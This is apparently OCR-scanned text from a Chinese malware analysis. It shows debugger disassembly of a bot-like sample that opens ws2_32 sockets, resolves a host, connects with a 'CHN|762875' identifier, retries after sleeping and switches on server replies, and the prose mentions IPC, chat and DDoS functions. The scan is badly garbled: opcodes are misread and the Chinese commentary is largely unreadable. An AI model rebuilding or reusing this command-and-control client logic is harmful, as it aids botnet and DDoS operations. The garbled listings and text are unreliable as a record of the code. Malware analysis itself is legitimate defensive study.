
EASAE B AR B A

ASCII "D:\"



0041627D
00416283
00416286
00416287
0041628A
0041628D
00416292
00416295
0041629B
0041629C
004162A1
004162A2
004162A5
004162A6
004162A9
004162AB
004162AD
004162B0
004162B6
004162BD
004162C3
004162C9
004162CE
004162CF
004162D4
004162D5
004162D6
004162D7
004162D9
004162DF
004162E4
004162E5
004162EA
004162EB
004162EC
004162EF
004162F1
004162F2
004162F8
004162FB
004162FC
004162FF
00416302
00416307
0041630A
00416310
00416311
00416316
00416317
00416319
0041631A
0041631B

8D85 ECFDFFFF
FF75 10
50
FF75 0C
FF75 08
E8 7668FFFF
83C4 14
8D85 ECFDFFFF
50
E8 D54FFFFF
59
83C6 28
43
3B5D FC

|1 76 82

33FF

> FF75F8

[> 817D FO EA000000

FF15 E85A4400

|~ OF84 BEFEFFFF

8D85 ECFDFFFF
68 88F34300
50
E8 710B0000
59
59
5B
EB 13
8D85 ECFDFFFF
68 48F34300
50
E8 5SBOB0000
59
59
397D 14
7519
57
8D85 ECFDFFFF
FF75 10
50
FF75 0C
FF75 08
E8 0168FFFF
83C4 14
8D85 ECFDFFFF
50
E8 604FFFFF
59
6A 01
58
SF
SE

|[lea eax,dword ptr ss:[ebp-214]
|lpush dword ptr ss:[ebp+10]
|lpush eax
|[push dword ptr ss:[ebp+C]
|lpush dword ptr ss:[ebp+8]
|lcall 3.0040CB08
|ladd esp,14
|[lea eax,dword ptr ss:[ebp-214]
|lpush eax
|lcall 3.0040B276
[[pop ecx
|ladd esi,28
|linc ebx
|lcmp ebx,dword ptr ss:[ebp-4]
[\jbe short 3.0041622D
[xor edi,edi
|[push dword ptr ss:[ebp-8]
|call dword ptr ds:[445AES]
|cmp dword ptr ss:[ebp-10],0EA
\je 3.00416181
lea eax,dword ptr ss:[ebp-214]
push 3.0043F388
push eax
call 3.00416E45
pop ecx
pop ecx
pop ebx
jmp short 3.004162EC
lea eax,dword ptr ss:[ebp-214]
push 3.0043F348
push eax
call 3.00416E45
pop ecx
pop ecx
cmp dword ptr ss:[ebp+14],edi
jnz short 3.0041630A
push edi
lea eax,dword ptr ss:[ebp-214]
push dword ptr ss:[ebp+10]
push eax
push dword ptr ss:[ebp+C]
push dword ptr ss:[ebp+8]
call 3.0040CB08
add esp,14
lea eax,dword ptr ss:[ebp-214]
push eax
call 3.0040B276
pop ecx
push 1
pop eax
pop edi
pop esi

b

netapi32.NetApiBufferFree



0041631C |. C9
0041631D \. C3

By ERRR

Ay

He

0040E1F5 / 55

0040E1F6 |. 8BEC
0040E1F8 |. 81EC 90010000
0040E1FE |. 8B45 08
0040E201 |. 56

0040E202 |. 57

0040E203 |. 6A 59
0040E205 |. 59

0040E206 |. 8BFO

0040E208 |. 8DBD 70FEFFFF
0040E20E |. F3:AS
0040E210 |.

0040E21A > 6A10
0040E21C |. 8D45F0
0040E21F |. 6A 00

0040E221 |. 50

0040E222 |. ES8 998C0000
0040E227 |. 83C40C
0040E22A |. 66:C745 F0 0200
0040E230 |. FF75C4
0040E233 |. FF15 585A4400
0040E239 |. 66:8945 F2
0040E23D |. 8D85 74FEFFFF
0040E243 |. 50

0040E244 |. ES8 83BEFFFF
0040E249 |. 85C0

0040E24B |. 59

0040E24C |. 8945F4
0040E24F |. 0F84 F2000000
0040E255 |. 6A1C
0040E257 |. 8D45 D4
0040E25A |. 6A00
0040E25C |. 50

0040E25D |. E8 SE8C0000
0040E262 |. 6A 00

0040E264 |. 8D45 D4
0040E267 |. FF353CD44200
0040E26D |. FF35 38D44200
0040E273 |. 50

0040E274 |. E8 D46A0000
0040E279 |. 8BFS8

0040E27B |. 8B45CC
0040E27E |. 69CO0 34020000
0040E284 |. 6A 1B

leave

retn

Sy ah, KEUN NI H R IPC i fe #5, K s 55 1 A

LSO 55 114 ,CHAT IR Zhfig, T 8hAT 2 g, DDOS BUidi Dhfie, SO BLIh fig, JL Fi 2

push ebp

mov ebp,esp

sub esp,190

mov eax,dword ptr ss:[ebp+8]
push esi
push edi
push 59
pop ecx

mov esi,eax

lea edi,dword ptr ss:[ebp-190]

rep movs dword ptr es:[edi],dword ptr ds:[e>

C780 60010000 0100>mov dword ptr ds:[eax+160],1

/push 10
[lea eax,dword ptr ss:[ebp-10]
[push 0
|[push eax
|call 3.00416ECO
ladd esp,0C
|mov word ptr ss:[ebp-10],2
[push dword ptr ss:[ebp-3C]
|call dword ptr ds:[445A58]
|mov word ptr ss:[ebp-E],ax
[lea eax,dword ptr ss:[ebp-18C]
|[push eax
|call 3.0040A0CC
test eax,eax
[pop ecx
|[mov dword ptr ss:[ebp-C],eax
lje 3.0040E347
|[push 1C
[lea eax,dword ptr ss:[ebp-2C]
|[push 0
|[push eax
|call 3.00416ECO
|[push 0
[lea eax,dword ptr ss:[ebp-2C]
[push dword ptr ds:[42D43C]
|[push dword ptr ds:[42D438]
|[push eax
|call 3.00414D4D
|mov edi,eax
|mov eax,dword ptr ss:[ebp-34]
[imul eax,eax,234
|[push 1B

i, n]

SR

. Default case of switch 0040E329

; ws2_32.ntohs

: CHN|762875



0040E286
0040E28B
0040E28C
0040E28D
0040E292
0040E295
0040E297
0040E299
0040E29B
0040E2A1
0040E2A3
0040E2A6
0040E2AC
0040E2AE
0040E2B4
0040E2B7
0040E2B8
0040E2B9
0040E2BF
0040E2C2
0040E2C4
0040E2C5
0040E2CB
0040E2D0
0040E2D5
0040E2DB
0040E2E0
0040E2E6
0040E2E7
0040E2EC
0040E2F1
0040E2F4
0040E2FA
0040E2FB
0040E301
0040E302
0040E308
0040E30E
0040E30F
0040E310
0040E316
0040E317
0040E318
0040E31D
0040E320
0040E322
0040E323
0040E329
0040E32B
0040E331
0040E334
0040E336

. 05 C8B44400

. 57

.50

. E8 0E9B0000
83C4 28
6A 06

6A 01

6A 02
. FF15 D85A4400
| 8BFO

. 8B45CC

. 69C0 34020000
. 6A10

. 89B0 BCB44400
8D45 FO

50

56
FF15 005A4400
| 83F8 FF

. 751C

. 56

. FF15 FO5A4400
| E8 25BEFFFF

. 68 D0070000

> FF15 5C104200
A E9 3AFFFFFF
> 8D85 74FEFFFF
. 50

| 6850324300

. E8 FOCFFFFF

| FF75C8

| 8D85 74FEFFFF
. 50

| 8D85 74FFFFFF
. 50

. 8D85 34FFFFFF
. FFB5 70FEFFFF
| 57

.50

8D85 FAFEFFFF
50

56
E8 40000000
| 83C428

8BF8

56
FF15 FO5A4400
85FF

|.A OF84 E9FEFFFF
. 83FF 01
. 7507
. 68 AOBBODO0O

ladd eax,3.0044B4C8
[push edi
|[push eax
|call 3.00417DA0
ladd esp,28
|[push 6
|push 1
|[push 2
|call dword ptr ds:[445AD8]
|mov esi,eax
|mov eax,dword ptr ss:[ebp-34]
[imul eax,eax,234
|[push 10
|mov dword ptr ds:[eax+44B4BC],esi
[lea eax,dword ptr ss:[ebp-10]
|[push eax
|[push esi
|call dword ptr ds:[445A00]
|cmp eax,-1
|jnz short 3.0040E2E0
|[push esi
|call dword ptr ds:[445AF0]
|call 3.0040A0F5
|[push 7D0
|call dword ptr ds:[<&KERNEL32.Sleep>]
[jmp 3.0040E21A
[lea eax,dword ptr ss:[ebp-18C]
|[push eax
[push 3.00433250
|call 3.0040B2EA
|[push dword ptr ss:[ebp-38]
[lea eax,dword ptr ss:[ebp-18C]
|[push eax
[lea eax,dword ptr ss:[ebp-8C]
|[push eax
[lea eax,dword ptr ss:[ebp-CC]
|[push dword ptr ss:[ebp-190]
[push edi
|[push eax
[lea eax,dword ptr ss:[ebp-10C]
|[push eax
[push esi
|call 3.0040E35D
ladd esp,28
|mov edi,eax
[push esi
|call dword ptr ds:[445AF0]
test edi,edi
je 3.0040E21A
|cmp edi, 1
|inz short 3.0040E33D
|[push 0ODBBAO

>

b

>

b

b

; ASCII "CHN|762875"

ws2_32.socket

ws2_32.connect

ws2_ 32.closesocket

; /Timeout = 2000. ms

; \Sleep

ws2_32.closesocket
Switch (cases 1..2)

;  Case 1 of switch 0040E329



0040E33B |." EB 98
0040E33D [> 83FF 02
0040E340 |. 7409
0040E342 |." E9 D3FEFFFF
0040E347 > 33C0
0040E349 |. EBOC
0040E34B |> FF75CC
0040E34E |. E8 BA880000
0040E353 |. 59
0040E354 |. 6A 02
0040E356 |. 58
0040E357 |> 5F

0040E358 |. SE
0040E359 |. C9

0040E35A \. C2 0400
0040A0CC / FF7424 04
0040A0D0 |. FF15985A4400
0040A0D6 | 83F8 FF
0040A0D9 |. 7519
0040A0DB |. FF7424 04
0040A0DF |. FF15 DC5A4400
0040A0E5 |. 85C0
0040A0E7 |. 7504
0040A0E9 |. 83C8FF
0040A0EC |. C3

0040A0ED > 8B400C
0040A0F0 |. 8B00

0040A0F2 |. 8B00

0040A0F4 > C3

[jmp short 3.0040E2D5
|cmp edi,2

je short 3.0040E34B
\jmp 3.0040E21A
XOr eax,eax

jmp short 3.0040E357

push dword ptr ss:[ebp-34]

call 3.00416C0D

pop ecx

push 2

pop eax
pop edi

pop esi

leave

retn 4

push dword ptr ss:[esp+4]
call dword ptr ds:[445A98]
cmp eax,-1
jnz short 3.0040A0F4
push dword ptr ss:[esp+4]
call dword ptr ds:[445ADC]

test eax,eax

jnz short 3.0040A0ED
or eax,FFFFFFFF
retn
mov eax,dword ptr ds:[eax+C]
mov eax,dword ptr ds:[eax]
mov eax,dword ptr ds:[eax]

retn

;  Case 2 of switch 0040E329

; ws2_32.inet_addr
; 133k

; ws2_32.gethostbyname
s R B AY T45 E LA B ELE B

JE AL AR SO PR T2 ST, WA AN 2 R R S L2 IR e AR S T AN T KR AR,



